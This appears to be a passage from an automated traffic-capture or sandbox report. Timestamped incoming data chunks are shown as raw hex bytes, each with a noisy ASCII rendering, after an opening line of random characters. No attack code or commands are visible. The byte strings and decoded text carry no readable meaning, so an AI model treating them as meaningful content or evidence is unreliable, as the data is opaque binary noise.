kRT+:~xxMF`?s#,Q$k$I?y?>G<>}UEIsb6xY^f#Dt}wGHZu}?/.Q-.n?~_}(GH,Y7q&j
2022-07-20 11:24:37 UTC	3643	IN	Data Raw: 22 da 5b dd 65 9b 81 24 d3 b6 3e 61 fe c2 fc de b4 2a 8b b0 f9 6f b3 21 f0 fe ad e2 86 9e 35 ba bf 92 0d 31 a1 df 63 e5 e9 de 55 c3 b7 f1 ab a2 e7 e6 f4 e9 52 6b 1e 1f bc d1 a4 fe d6 92 ff 00 52 4d 1e ce d3 7c da 6c 9b 53 ed 2d fe ea 06 6d 9c fa 1a f4 2d 36 3b 3b 5b 58 db cc 92 c9 19 1b c9 f3 ee 9a 59 be 6f f7 4d 43 6f 0e 91 a4 c7 1b 59 d8 7f 68 dc 6f fd ed d4 10 49 f7 bf de 76 dd fc e8 f6 96 77 b0 ad 73 c8 56 eb c2 fe 28 9e 09 a6 d0 be cb 6f b1 51 2e ae b4 b9 e5 49 be 5c 02 b2 32 a7 cb b7 8d c4 7d ee 95 d2 78 77 c0 f0 69 76 b2 5e 5b f8 7a 4d 3b e7 69 a1 d1 ed 6e a4 fb 45 e4 bb b1 c6 e9 04 6a db 7f bd f2 d7 75 7d ae 58 da dd 41 0a c1 63 3d eb 7e e6 1b 1b ab a8 37 a7 f7 b6 73 bf 03 e9 51 ea cd e2 3b 5b 1b f8 ed e7 82 ca f9 ad 9a 1b 7b af b2 b5 c5 c7 9f ff Data Ascii: "[e$>a*o!51cURkRM\|lS-m-6;;[XYoMCoYhoIvwsV(oQ.I\2}xwiv^[zM;inEju}XAc=~7sQ;[{
2022-07-20 11:24:37 UTC	3659	IN	Data Raw: 1c 5f 84 7c 45 e0 ed 2f c4 7a 4c 3e 0b f0 bd f6 af aa f9 d2 22 6a 5a 96 d9 5d 3e 5f f5 8b 01 3b 55 ff 00 da 6f 94 57 07 e2 8f 87 f7 da 5e b1 3d f5 c4 9a 6d aa 34 cc ef f6 a9 fe cf fb d6 fe 15 8d 06 e5 fc b0 c7 a5 74 5e 2e f8 23 a9 f8 5e d7 cc d3 75 38 f5 79 76 6c 9a 3b 18 24 49 5f 73 74 55 52 77 29 ff 00 22 bc d6 cf 4f bc bc be fb 1d ad 87 da ae 3e 6d 90 5a a6 f9 5d 97 9c 32 fd ec 8a ec a6 a1 2f 7a 32 21 be 87 bb 46 b7 36 1e 1d d3 7c 2b a6 cf e1 fd 12 d3 52 78 ef af b5 2b 59 e7 47 48 95 be 59 17 2a 8d 27 fb a6 bc cf e2 57 87 f5 3f 0e 7f a2 ea 9a 16 95 be f1 3e d1 0e a5 1b c9 70 ff 00 2b 3e ef 99 db ef b8 fb d9 1f ca 9b e1 d9 3c 7b 15 f5 fe 9b a7 c7 aa fd a2 fe 18 e1 b8 92 44 64 95 20 8b ee a8 38 dc 9b 73 db f0 af 44 f0 4f c3 bd 0e ff 00 52 93 fe 12 6d 26 Data Ascii: _\|E/zL>"jZ]>_;UoW^=m4t^.#^u8yvl;$I_stURw)"O>mZ]2/z2!F6\|+Rx+YGHY*'W?>p+><{Dd 8sDORm&
2022-07-20 11:24:37 UTC	3667	IN	Data Raw: 9d 4b 4f d6 af b5 4d 4a ea 66 7d 5a 09 20 8e e1 26 f2 b3 b6 04 52 03 2b 32 b7 66 50 df 95 76 5f 0a ee ae 65 b5 92 f2 c7 49 d6 3e c5 2b b4 30 c7 e2 69 d5 2e 3c 8d db 5c db c5 0f cc 9b 7e 6f bd 5c 33 4d 36 5a 8a 3d 2a df c4 16 7a 4d af cb a9 5a bd a4 48 d6 f7 17 d7 77 4b 6f b3 6f 55 0b c1 6c 56 a7 83 74 5d 2b 56 d2 a3 9a d6 79 27 b2 ba 99 a6 9a 48 f7 23 dc ed fe eb 1f 9b 6f d2 bc 96 eb 45 b1 bc f1 c6 85 75 6f a4 c1 75 aa aa 32 5c 5f 6b 10 48 9f 76 37 f2 bc 88 1b e4 60 3f da f9 bb d6 87 8a 3f 68 0d 43 41 93 fb 3e e2 09 2e a5 b5 46 4d 52 7d 36 0d 9f 62 97 cb dc 91 a6 ff 00 95 df fd 9a ce d7 76 ea 51 ad 79 ac 4b 75 a5 6a da e6 b5 05 8e 83 a7 ca 92 25 8c fa 96 d4 b8 f9 9b 68 df bd 93 77 f7 86 2a 39 2d e0 6b 7f b4 5b dd c1 af 59 45 17 fc 84 a3 da 91 43 bf e4 66 Data Ascii: KOMJf}Z &R+2fPv_eI>+0i.<\~o\3M6Z=zMZHwKooUlVt]+Vy'H#oEuou2\_kHv7`??hCA>.FMR}6bvQyKuj%hw9-k[YECf
2022-07-20 11:24:37 UTC	3722	IN	Data Raw: d5 d0 78 8b 54 8b 52 b1 b0 5d 4b c2 fa 95 ee db 16 be b7 92 c5 15 ee 3c dd bb 95 63 0c 55 73 fe d1 af 08 d3 7f 68 af 0f fc 4d d3 6e 93 50 f0 bd f7 84 7c 55 e1 fb 89 2d ef ad 35 fd 12 4b ef dd 6e fd d1 de 06 03 ff 00 79 71 fa 57 34 6d 37 64 8d 1c 5e e7 b8 f8 1d af 2e ad 6c 3f e1 1f d6 b4 db df 36 6f f4 ef b0 c0 b1 22 2f 5d ca 10 ed 5f 9a bb cd 3f 6d 86 ab fd a1 75 77 b3 e4 6f dc 7f 04 cd f4 fe 16 3d 2b 89 d2 7c 69 e1 a9 7c 33 06 a9 e1 bd 4b 4d 44 96 1f b3 a5 8e cd 88 92 b2 fc bf bb 4c 6d 39 aa 2d e2 eb 9b 78 23 d1 f5 8d 76 d6 d6 56 78 ee 1e d7 e5 47 f2 95 77 37 97 fc 5e 5f fb 5d 68 e5 ec 4a d0 d4 d0 f4 bd 4f c5 1a c4 0b ac 5d cf a7 59 69 77 73 3d be 8f 6a fe 55 bc ca fd e5 fe 27 f9 77 ff 00 3a e1 fc 45 e0 fb 6b ff 00 88 d7 7e 2c f1 04 73 c3 e1 ab 79 a3 9b Data Ascii: xTR]K<cUshMnP\|U-5KnyqW4m7d^.l?6o"/]_?muwo=+\|i\|3KMDLm9-x#vVxGw7^_]hJO]Yiws=jU'w:Ek~,sy
2022-07-20 11:24:37 UTC	3770	IN	Data Raw: 3f d9 f9 49 cd 72 3f 0c fe 29 68 7f 11 3c 4d a9 68 77 1f 6e 4b bd 27 cc d9 a9 5d 27 d9 3c e8 92 4d 9b d6 4d be 5c 91 f0 bf c5 ce ee 98 ae ea 4d 36 f2 e2 39 3c ed 5b 62 6f d8 92 5a fc 89 e5 2f dd d9 18 df e6 fe 48 2b 56 f9 be 07 a1 9f 2b 8e 92 8e a5 5b 1b ad 31 b5 cd 69 74 9b 4d 97 6d 70 c9 77 75 e7 fd f6 45 e5 b1 9c 62 ac 6a 5a 6c f6 1a 97 f6 a5 bf 99 75 aa b2 2e f8 e4 75 d8 96 ab df 00 7f e3 b5 0d c7 83 ee 5a fa d3 5c 5f f8 98 ea 16 bb a1 b4 9f c8 df bd 9d 4a ff 00 c7 a8 c2 af cb f2 b7 53 b6 b3 e1 d0 65 b7 f3 ff 00 79 63 06 9f 6e ff 00 e9 da 6d f5 ac 96 89 0b 2a ee 93 cb de 50 79 7f c4 3e f6 2b 5d f5 22 4b 56 57 87 c3 ff 00 d8 77 da d5 e6 b5 a9 7f 68 e9 57 e8 b0 f9 13 c0 af 12 32 ae e6 f9 79 6d 9f dd 5a 87 49 f0 fe 95 6f aa c1 71 e0 bb 4f b2 a2 be cb bf Data Ascii: ?Ir?)h<MhwnK']'<MM\M69<[boZ/H+V+[1itMmpwuEbjZlu.uZ\_JSeycnm*Py>+]"KVWwhW2ymZIoqO
2022-07-20 11:24:37 UTC	3786	IN	Data Raw: 29 72 ab 75 f4 3f 35 6e 3e 1d f8 b2 df 52 bb b5 87 4d f1 56 a3 68 df be bb 8e 08 24 89 d1 99 4e 3c c4 1b be 5f f7 ab 5b 54 93 c6 da 6f f6 6d 9d f4 73 a5 ed c5 a7 da 1f 4a d2 a0 8e 69 52 07 e6 3f 3c 46 06 d7 75 f9 87 b5 7e 98 4d 6b a7 ff 00 c2 47 1d ac 77 7b 35 bb a7 8d d3 ec 2e a8 fb 79 f9 99 7f 85 32 6b 9f 87 56 d2 34 19 e0 d3 e3 bf 9e 0b 8b ab b9 ad d2 78 2d 57 ca 86 55 6d bb 65 f2 54 7e 1b bf 3a 88 ce ab 7a 3b Data Ascii: )ru?5n>RMVh$N<_[TomsJiR?<Fu~MkGw{5.y2kV4x-WUmeT~:z;
2022-07-20 11:24:37 UTC	3804	IN	Data Raw: 22 f9 e1 6b b4 7c ad f0 bb e1 4c 1e 22 b4 b4 ff 00 84 c7 c5 1a e7 80 e0 8a 1f b4 5d c1 77 a2 2c 37 13 45 fc 3f 66 99 18 e3 1f c5 bd 4f d2 b7 e3 f8 3b e1 7f 06 fc 50 f1 0f 87 74 58 24 4f 0a ea 96 36 97 1a 4e a5 aa eb 1e 6a 4d bd 7f 79 2d aa e3 fe 3e 3c c5 e1 b9 18 fe 1c 57 bf 78 cb c7 8b e0 8d 4a ee 46 d2 67 9f ec e8 be 4e a5 3c f1 a5 a3 fa aa 1c ee cf fb 3d 68 b1 f8 99 a5 78 b7 ec 0d 67 26 9b e2 17 58 7c e7 d2 a3 4d ef 0b 2f 46 f9 ff 00 d5 e1 bf 1a 9e 4a cf 59 4a e2 f6 90 fb 31 b1 c0 f8 3f c1 7e 17 f0 fd f4 7a 7c d6 17 c8 ed 6e ce 97 d0 4f 07 d9 de 77 6d b2 2b 06 09 b6 68 ff 00 bd f7 7e 76 ae ca 3d 17 c2 b1 5a f9 76 b7 76 30 bd c5 a3 43 34 e9 3b 7c 91 27 f1 6c 73 b5 b9 fc 2b 07 4f f8 9d 6d aa 4f fd ad 27 86 ac 75 1b 8d 4a ee 3b 47 f2 ee a7 89 e6 65 6d cb Data Ascii: "k\|L"]w,7E?fO;PtX$O6NjMy-><WxJFgN<=hxg&X\|M/FJYJ1?~z\|nOwm+h~v=Zvv0C4;\|'ls+OmO'uJ;Gem
2022-07-20 11:24:37 UTC	3883	IN	Data Raw: c1 b6 a8 c9 71 7d 14 11 c8 df bf b7 ff 00 e2 bf 4a e8 af 3c 13 e2 5b 39 27 92 fb c3 da 95 af 95 f7 e4 92 d6 44 4d ab dd 8e dc 54 96 fe 11 8b 5c d6 34 d8 fc 2f 04 ef 71 a9 24 9e 74 17 cf fe a5 91 46 40 7e e4 fd ef f8 12 d6 9e d6 1b df 42 2c 65 e9 7e 24 d5 74 3d 4b ed 1a 7d fe a5 65 76 df 23 c9 1c ff 00 7d 57 fd b3 fc 35 e9 1a 1f ed 2d e2 cb 5b a8 1a f2 ff 00 4a d5 3e 75 ff 00 90 ac 0b f3 b7 f0 ae 53 15 47 c4 5f 03 7c 55 a1 c9 1d 8c 7a 2f da a5 b8 4d 96 f1 e9 57 51 cb e7 6e f9 b7 2a 29 dd ff 00 8e 56 3e 97 f0 5f c4 2b 7d 05 ae a9 ff 00 14 bc 4b 6f 25 df 99 ac 6d f2 bc a5 c0 27 3f ef 37 d6 b3 95 4c 3c 95 dd 85 ef a7 64 8f a3 3e 1e f8 d2 5f 1d 69 be 5b 41 a6 da de b6 ef de 69 bb 93 c9 6f f7 4a e3 77 fb 55 d4 5b f8 2f 50 d3 6c 60 f0 ea ea 5f 65 48 a1 67 49 20 Data Ascii: q}J<[9'DMT\4/q$tF@~B,e~$t=K}ev#}W5-[J>uSG_\|Uz/MWQn*)V>_+}Ko%m'?7L<d>_i[AioJwU[/Pl`_eHgI
2022-07-20 11:24:37 UTC	3915	IN	Data Raw: b7 12 ba f4 58 f3 9c a2 86 f9 b6 d6 6e 9f e2 6d 66 f2 c6 ef ed 56 1a c6 a9 a7 fe f2 1f 3e 09 ed 37 cc db b8 db 1b 30 6f bb f4 fa 51 1f 79 0c e9 35 2d 63 c5 f7 11 f9 3a 6f f6 6c f2 cb 0b 4d 6f 1e a4 f2 25 ba 37 a3 f9 60 9e 2b c9 7c 59 79 f1 5b c0 ba 8d a3 6a 5a b7 c3 df 0f 5a 6a 8e c9 e5 c1 f6 b9 52 66 55 fe ee dd df ec ff 00 c0 bb d7 55 a3 fc 50 8b 46 82 4b 5b 8f 02 78 d3 4e b7 de bb 27 93 4e df f7 bb 36 c2 5b 03 fb d8 ae cb 52 6b 9f 13 58 cf a6 ea 1a 4c 1f 64 b8 46 df fd a5 07 9a 8e ab fc 5b 41 fb df ad 35 65 a0 d1 e5 3f 09 75 2d 57 e2 e4 fe 21 8f c4 10 4f e1 ad 4f 46 45 fb 44 9a 6d f7 ee a6 f9 b8 5f 2d 5b 3b 48 fc 6b ba 5d 36 c6 ea 49 f4 7b 18 e0 ba d4 22 bb 8d de c7 52 79 25 4f 2b f8 64 da d8 5d e7 d8 9f 7a e6 74 ff 00 86 3a af 87 e0 f3 ad fc 43 7d 3f Data Ascii: XnmfV>70oQy5-c:olMo%7`+\|Yy[jZZjRfUUPFK[xN'N6[RkXLdF[A5e?u-W!OOFEDm_-[;Hk]6I{"Ry%O+d]zt:C}?
2022-07-20 11:24:37 UTC	3977	IN	Data Raw: 33 f3 2f bd 7a 24 df 17 bc 39 2e b9 3d 9e a9 ae f8 3b 48 d7 6c dd 91 ef ad 67 f3 65 48 99 72 57 79 5d bb 8f f7 83 1f 6a dc f0 fb 69 0b e0 0f ed 0d 17 c6 1e 26 d4 7e d1 37 93 0e a5 f6 59 2e 13 73 49 fd c6 8b 6a ff 00 bc 68 9c 61 cf cf cb 62 94 a4 95 ba 1e 33 e1 d9 bc 7f 71 e1 fb f8 74 7d 6a 4d 47 4f 89 e3 b4 86 39 2e 95 11 e5 56 e4 9f b4 46 24 64 2b f2 9d 8d 5d b6 93 0d e7 87 34 ab f8 7c 75 e0 8d 49 ec ae 26 f3 9e 4b 5b e6 be b7 85 76 f1 8f df 6f fa a8 e9 5d c5 9a b6 a9 6b 7f 6f 79 61 25 ef d9 e6 68 66 8e c6 d5 62 77 6f f8 17 ca f8 f6 ac b6 bc d6 b4 19 2e ec 61 f0 f4 9a 8b ef 91 2d e7 df 1d be ff 00 ee e5 b2 76 fe 2b 57 f1 68 c8 e6 b3 32 7c 2f e3 4f 85 b7 1a ac 76 b6 72 49 a7 6a b2 ba bd bc 1a ae 9d 24 51 3c bb 78 8c 4a ea 17 18 fb aa 6b ac be d2 e0 ff 00 Data Ascii: 3/z$9.=;HlgeHrWy]ji&~7Y.sIjhab3qt}jMGO9.VF$d+]4\|uI&K[vo]koya%hfbwo.a-v+Wh2\|/OvrIj$Q<xJk
2022-07-20 11:24:37 UTC	4025	IN	Data Raw: 76 4f b5 6a 57 d0 79 57 36 ad 18 1b 4b 7f 0e 18 7b 0a f1 df 08 c9 e2 cf 07 c9 1e 8e ba 4c 13 c5 70 9f f1 eb 24 ff 00 ba 9b 77 dd f9 83 7f e3 d5 8c a9 d3 aa b9 a2 ac fa 97 cd 2d 9b 3e 84 d1 6d 74 cd 51 e3 d4 35 0d 16 c7 54 95 66 8e ee df 55 be d3 bc d9 ae 57 77 ee f0 58 1c 7c bf c3 f8 d5 8f 13 69 3f f0 91 fd be d7 47 d1 74 a7 b8 ba 7f b3 fd ba eb 47 81 12 c9 bf 8b 72 e3 32 fe 15 c9 da c9 ab db ea b0 69 ba a7 80 75 9d 3a f6 24 54 9a 4d 1e fa 37 fb 33 7f cb 36 f2 fc c1 f2 ff 00 df 55 d3 5c 2d f4 ba 57 fc 23 b2 4f a9 5a da 5d 5f 43 0d f4 f0 22 a5 c5 cc 4d cb 45 98 f7 08 95 99 97 fb b5 c2 ff 00 73 ac 51 aa bd 4d 24 f4 39 bd 17 c2 3e 1c d0 f5 4b bd 2f c4 56 96 3e 24 b5 fb 42 fd 9e fb 4e 81 62 be b6 95 57 06 58 cc 58 5d 81 f9 08 79 ef 56 af bc 2f a9 d8 4f 77 a6 Data Ascii: vOjWyW6K{Lp$w->mtQ5TfUWwX\|i?GtGr2iu:$TM736U\-W#OZ]_C"MEsQM$9>K/V>$BNbWXX]yV/Ow
2022-07-20 11:24:37 UTC	4049	IN	Data Raw: 12 7d c4 65 ed ef fe ef 5a cb d3 5b fb 1a 0b 0f 27 fd 37 ca 76 4b b8 24 ff 00 5a 9d c6 3f bc 4f f1 7e 95 e9 1a 5d f4 51 69 b1 c3 34 9f e9 6a ff 00 3c 93 a7 fa ea f0 f9 bc 55 bf e2 36 bd e1 9d 5a 7d 8f 2c cb 77 e1 d9 e3 81 bf d2 6d 76 e5 e1 2d fc 52 44 df a5 68 b5 13 d1 1e 89 ad 78 a2 ce e3 4d 91 ad ed 3f b5 2f 76 37 d9 e3 8f e4 7d bd d5 9b b3 7f b2 d5 e6 3e 19 d7 b5 5d 67 4d 91 a4 f2 20 bd 95 e4 b7 bb b5 81 1b e4 fe f7 0f f7 80 fd 6a af 8a 17 c4 3e 17 ba 83 5a b5 82 49 ec ad fe 4b eb 58 ff 00 d6 cd 13 37 12 21 fe f2 ff 00 76 8d 4a f2 db 4b 78 35 08 67 91 12 e9 1b 64 91 ff 00 cb 6d ab bb ca ff 00 7f ff 00 d5 55 e4 23 3f 47 be f1 0f c3 bb a8 34 fb eb bb 5b df 0d 4b 34 89 6f 22 23 3f ee 9b ee db be 7e e2 d7 1f ab 78 66 ce ff 00 58 9f c4 5f 0f 7c 8b df b3 cd Data Ascii: }eZ['7vK$Z?O~]Qi4j<U6Z},wmv-RDhxM?/v7}>]gM j>ZIKX7!vJKx5gdmU#?G4[K4o"#?~xfX_\|
2022-07-20 11:24:37 UTC	4080	IN	Data Raw: 3b 3b 32 46 da ea 52 f8 7f fe 59 ef 89 bc b4 99 e0 fb 9b b6 f3 5e 85 e1 9d 5a ce eb c3 33 dd 34 90 79 b6 e9 b1 e3 df fb 97 af 9e 63 fd a0 3c 47 f0 83 55 bf f0 df c4 2f 00 ef d3 ee 37 3d bc 72 5f 40 97 d3 44 ad 94 96 53 16 e8 f7 e3 d3 15 b5 a4 f8 8b 4f f1 d5 ac 9e 2c d0 fc 43 6b a4 69 fa 34 cb 77 7d a6 df 59 49 2b f9 0a a7 11 b2 e7 e7 5f 99 be 60 3a d5 b8 b4 b9 80 e8 bc 69 67 3f c4 48 35 6d 6b 45 92 49 e5 b7 49 2d 26 d2 ae a0 f9 1d 53 e6 f9 1b f9 35 79 af 80 ef 52 ee 6b 13 a3 78 86 7d 2f 55 7f b9 6f 76 ec 8e 92 a7 20 29 fe 3f ca b4 b5 2f da 83 c2 b7 9a af f6 86 97 06 ab 06 e4 64 bb f3 d3 62 6d 5c 79 7e 5f 3d 3d 73 5e 7f e3 8f 8a 16 37 5a c4 f7 1e 13 b4 8f 4b b2 fb e9 24 e8 be 6e e6 fb db 3b 22 7e b5 72 c3 fd 62 0e 9d 55 a3 2a 15 65 4a 5c d0 67 d3 ed a9 d9 Data Ascii: ;;2FRY^Z34yc<GU/7=r_@DSO,Cki4w}YI+_`:ig?H5mkEII-&S5yRkx}/Uov )?/dbm\y~_==s^7ZK$n;"~rbU*eJ\g
2022-07-20 11:24:37 UTC	4114	IN	Data Raw: bb fd 69 d6 77 c9 6b 04 90 f9 72 4f 15 c7 fc b3 93 f8 19 7f 8b d4 7e 15 0d 9d e5 e5 87 99 f6 79 3e 46 f9 1f ee bb ed fc 79 ac dc 9b d1 b2 f9 42 3b 59 62 8f 74 71 ef ff 00 ae 74 d9 24 db 1e e6 f3 3e 5f 93 f7 9f 72 9a d3 4b 17 ca be 64 1f c1 fd c4 a9 2d 75 0f b3 c9 e6 47 3f cf ff 00 3d 3e e6 ca 07 a1 5d a6 dd e5 fc e9 3e df b9 1e ff 00 b8 b4 ed cd 17 ca de 62 7f c0 eb 72 d7 50 b3 d6 6e a4 b7 ba 8e c6 ca 6b 87 5f f4 e9 fe 44 4f 6c 63 a1 ad 0b a6 d2 b4 9b eb fb 15 9f 63 ae d7 86 eb 4d 4f bf dc 65 1c 9d b5 a2 85 f5 b9 9f 35 8e 3d 6f a0 6f bd e5 a3 ff 00 d3 44 d9 53 46 d1 79 7b 97 e7 7d 9f df ae fb 45 d6 95 ac 64 59 b4 9f 0f ea e8 bf 27 97 25 ae fb 87 6f f6 c0 2a 7f ef 9a b1 27 87 fc 27 ae 7d ae 6b a9 e4 f0 54 b1 22 bb c7 26 eb b8 9d 9b 8d a1 7e f2 73 fc 35 6a Data Ascii: iwkrO~y>FyB;Ybtqt$>_rKd-uG?=>]>brPnk_DOlccMOe5=ooDSFy{}EdY'%o*''}kT"&~s5j
2022-07-20 11:24:37 UTC	4153	IN	Data Raw: fa cd 65 8f 74 32 79 17 1f 73 cc 7f e3 f7 af 43 e2 47 29 9e da 83 37 ef a4 f9 22 54 f9 3f 83 f3 3f de aa b3 32 f8 9a d6 7b 78 6c 24 bd f3 76 ec f2 df 62 3b 2b 7d d2 4f f0 ee eb 44 3a 5f 9d 24 8b 27 ce 9b 19 3f 79 fe d7 f7 47 ad 6c 69 ea b6 fa 3d a4 37 12 6c fb 3a 2c 3e 64 7f dd e9 9f f1 ae 79 c7 da 7b ad 68 6b 7e 4f 79 6e 7d 23 f1 33 e2 a5 9f c4 2f 08 e8 56 17 97 89 a1 6b bb 56 d3 56 8f 47 9d de dd 3f 77 c1 47 da 37 fc cb b4 fb 77 af 1c f1 17 86 60 f0 af 87 ed 2f 34 fd 4b fb 45 3e d0 db ed 6e a0 57 44 fe ec 91 af f1 02 6b 9b fb 0c fa 6c ff 00 eb 37 ff 00 1a 47 f7 d3 6f e1 55 ee 35 49 6e 9e 35 ba 93 cf 45 4d 89 e6 7c e8 94 53 c2 aa 4b 49 91 ce e4 f5 44 77 97 17 37 f7 5f 6a bc ff 00 4a b8 6f 9f cf 91 f7 fd 38 fe ef f2 ad 6f 05 f8 46 c7 c5 1a e4 f6 fa 86 ad Data Ascii: et2ysCG)7"T??2{xl$vb;+}OD:_$'?yGli=7l:,>dy{hk~Oyn}#3/VkVVG?wG7w`/4KE>nWDkl7GoU5In5EM\|SKIDw7_jJo8oF
2022-07-20 11:24:37 UTC	4193	IN	Data Raw: 6a c7 db 20 68 23 69 23 78 3f e9 9c 95 df 4f bb 07 d8 e5 ef a6 ff 00 8a 9a 0b 7b 78 e4 d9 f6 15 df 23 bf fa ed cd fd 2a 1f 12 59 d8 eb 9a 6c 96 7a 94 13 cf 14 49 fe b2 3f f5 a9 fe d2 7f f1 35 b5 a9 43 7d 6b e2 3f b4 58 cf 1d d5 a4 bb bf d0 67 f9 36 7f 79 a3 3f fb 2d 5c 55 82 ea 0d b1 fc 92 fd ff 00 de 7f 9e 2b 9d c3 99 b8 82 7c bb 1f 3b db f8 3e 5d 52 4b f5 d1 67 83 57 86 d7 fe 59 ff 00 aa b8 45 f5 d8 df d2 b9 d5 8e 2f 32 4d bf 22 7d fa f7 29 bc 1f 3e 9b e3 1f ed cd 7b cf 7b 75 75 fb 3e b1 a6 a2 a6 cd bf c3 70 8a 3e e9 fe f5 73 bf 17 bc 27 fb 8f f8 48 34 78 23 9f 4f fb 97 7f 65 fe 06 fe 19 2b cd a9 43 95 39 25 b1 e8 42 b5 da 8b 67 9a ab 4a b1 ed 8e 4d ff 00 fb 25 1f ea bc bf 32 3f bd b9 fc c8 ea 16 92 2f de 32 f9 89 fd ca b0 ad 2f fa cf 33 e4 ff 00 9e 75 Data Ascii: j h#i#x?O{x#*YlzI?5C}k?Xg6y?-\U+\|;>]RKgWYE/2M"})>{{uu>p>s'H4x#Oe+C9%BgJM%2?/2/3u
2022-07-20 11:24:37 UTC	4216	IN	Data Raw: 7c eb f0 16 eb c5 9e 3c f1 1e a5 a8 78 c2 49 f5 4d 26 ea db fd 1f fd 29 65 74 95 5b 77 97 e4 7d d4 49 13 e5 dc 45 7a f6 a5 e1 3b 6f b7 49 6a be 13 d0 e0 d3 15 37 db c9 02 47 f2 7a 7f 0e 78 af 36 51 4a 5c a6 c4 da a7 c6 0d 2a c2 6f 32 ea 0b bd 3b 4c 95 fe ce 9a 94 7b 5f 7b 75 e1 62 de df 9d 76 1a 1f 8f 3c 35 ac c7 03 34 f0 4e 92 a2 ba 49 3a 34 4e eb db ef 8a e3 6c 7f b7 ac 24 8e de 3b 08 ff 00 b3 fe 5f 26 08 dd 77 fe 58 15 dc 59 f9 56 ff 00 34 36 92 3c aa ff 00 3f 98 eb 59 6c 1e 87 3b e3 2f 8c da d3 43 ff 00 16 ef c3 da 76 a9 f6 5d c9 77 3e a5 e6 27 b2 f9 4b c7 99 f9 d7 ca fe 38 f8 85 f1 4a f3 52 92 6f 12 47 3e f6 7f 92 0f b0 c6 f1 7c bd 94 62 be da d5 21 96 fe 48 e4 fd c2 6d 4d 8f 06 ff 00 bf 58 33 68 ef 75 75 04 cd 61 1b fd 9d f7 c3 24 6f f7 3e ab f7 7f Data Ascii: \|<xIM&)et[w}IEz;oIj7Gzx6QJ\*o2;L{_{ubv<54NI:4Nl$;_&wXYV46<?Yl;/Cv]w>'K8JRoG>\|b!HmMX3huua$o>
2022-07-20 11:24:37 UTC	4248	IN	Data Raw: fe 0f d4 7f e3 d5 72 7f ca 38 dc 6c 93 6d 8f f7 7f 71 5f fd 5f eb 51 fd b9 be ef fc b2 6f f9 e7 fc 7d a9 b3 68 ed 6f 26 e6 8f e7 fb ff 00 f7 cf 6a 92 38 d5 63 f9 a0 fb bf f2 d2 3f ff 00 55 73 fb cd 9a 68 0b 34 bf c5 e6 7f d7 4f e3 f9 68 91 a2 bc 8f 6c de 5e ff 00 e0 93 fb 8b 53 7d 8d 7c c8 f6 fc 8f fc 1f 77 f8 6a 39 21 db f7 be 77 5f b9 27 fb b4 6a 83 70 b8 fb 4d bf 96 b6 fe 5b ed ff 00 9e 8f 5c 6e b9 e1 dd 2b c5 b3 c8 d7 96 9e 5e e7 f9 24 9f e4 7d dd f1 27 4c 57 60 cd f3 c7 23 47 f2 7d ff 00 e2 7f e5 54 ed f5 68 ae 3c c9 2d ff 00 da d9 e6 57 4c 5f 37 c4 66 d6 87 99 eb 5e 1b f1 2f 86 6c 64 b7 d2 ec 3f e1 21 b2 64 6f dd c9 07 9a f0 d7 17 a6 eb 16 d7 17 52 58 ea 96 12 5a ee 4f f9 e1 b1 d1 97 d2 be 84 db 67 71 1c 73 7d 92 44 97 ef f9 90 7c 9f fa 0e 3a 54 8d Data Ascii: r8lmq__Qo}ho&j8c?Ush4Ohl^S}\|wj9!w_'jpM[\n+^$}'LW`#G}Th<-WL_7f^/ld?!doRXZOgqs}D\|:T
2022-07-20 11:24:37 UTC	4279	IN	Data Raw: 10 43 34 f1 ff 00 a3 c4 db 23 fe e2 b3 67 ff 00 66 a9 af 1b c5 f3 49 02 dc 47 3f ee a1 57 48 3c 8d fb d7 8d bf ef 2d 67 76 ed 69 22 ad 15 ba 64 8d a8 6b 5a 5d ad a5 e7 f6 b7 cd f7 26 8e 09 ff 00 7b f2 f7 3f 5f 6a b5 e1 ff 00 89 9a ae 87 75 e4 cd e6 5d 45 bd bf 71 22 2e cd aa bd 3f 11 d6 a8 c3 ab 5c ac 1b 6e 2c 23 d9 e7 6c 7f 31 17 7e ef ee ff 00 b2 b5 a5 25 f5 b4 d2 5d da ea 10 5a bb b4 cb 34 d7 51 be fd 8d fd d4 c5 67 24 ad 69 42 e5 c6 fb a9 15 7f e1 6c 6a 71 47 1c 73 41 1c e9 fb bf f5 9f ec f6 c5 49 37 c4 c8 3f d2 da 6b 08 1e 56 85 51 3c c8 19 d3 fd d4 fe ef fb d5 93 79 a7 e8 7a e6 a5 24 76 3e 66 9d 6e db 91 20 f9 9e 5f 96 b4 b4 3f 0a e9 12 df 41 e6 78 86 4d 8a fb 2e 23 f2 3e 74 6f e1 fb d5 a7 b3 a1 a5 d5 89 e7 aa b5 4e e4 cb f1 0a e6 f3 55 82 e2 f2 38 Data Ascii: C4#gfIG?WH<-gvi"dkZ]&{?_ju]Eq".?\n,#l1~%]Z4Qg$iBljqGsAI7?kVQ<yz$v>fn _?AxM.#>toNU8
2022-07-20 11:24:37 UTC	4327	IN	Data Raw: ff 00 f5 54 33 69 6b 13 c9 75 a3 c9 1d 96 a0 ff 00 ef 4b b3 fb db 53 ee f3 49 4d c1 e9 b7 e2 27 14 f5 34 2f 3f b4 1a e3 cc b3 bb 81 3f f1 ff 00 bd df 15 c5 f8 ab 5e 6b 78 e4 5f 13 68 56 3a a5 a3 3a a7 9f 6a 9f e9 08 bf df 39 e7 f5 15 d3 43 ac 40 de 5b 6b 11 c6 97 11 79 88 fe 62 7c 93 6e ef 8f 5f e5 52 4d e2 6f 0d 5f da c6 bf bb 9e ca eb 74 2f 3c 7b 9f fe fa fe ed 45 45 1a 8b e2 b3 f3 34 8f b9 ad 8f 35 d4 be 16 f8 6b 5c 92 78 7c 3b a9 4f a7 5e fc bb 2d 6e a0 64 47 ff 00 75 9a b2 ee 3e 00 f8 8d 63 f3 21 9f 4d ba fb a9 fb bb a5 df b7 e8 d5 ea 57 5e 1b 9e f2 c6 0b 5f 0c df d8 a5 93 23 6c 92 47 6f 93 d7 3d 73 fe f5 74 da 0c 33 e9 3a 3c 76 fa a6 a5 1e a1 a8 45 f2 3d d4 1f dd fe 1e bf 7b 1f e7 a5 63 4f 09 4e b4 ed 25 6f 4d 8d 65 89 95 35 a3 bf e6 7c e3 75 f0 8f Data Ascii: T3ikuKSIM'4/??^kx_hV::j9C@[kyb\|n_RMo_t/<{EE45k\x\|;O^-ndGu>c!MW^_#lGo=st3:<vE={cON%oMe5\|u
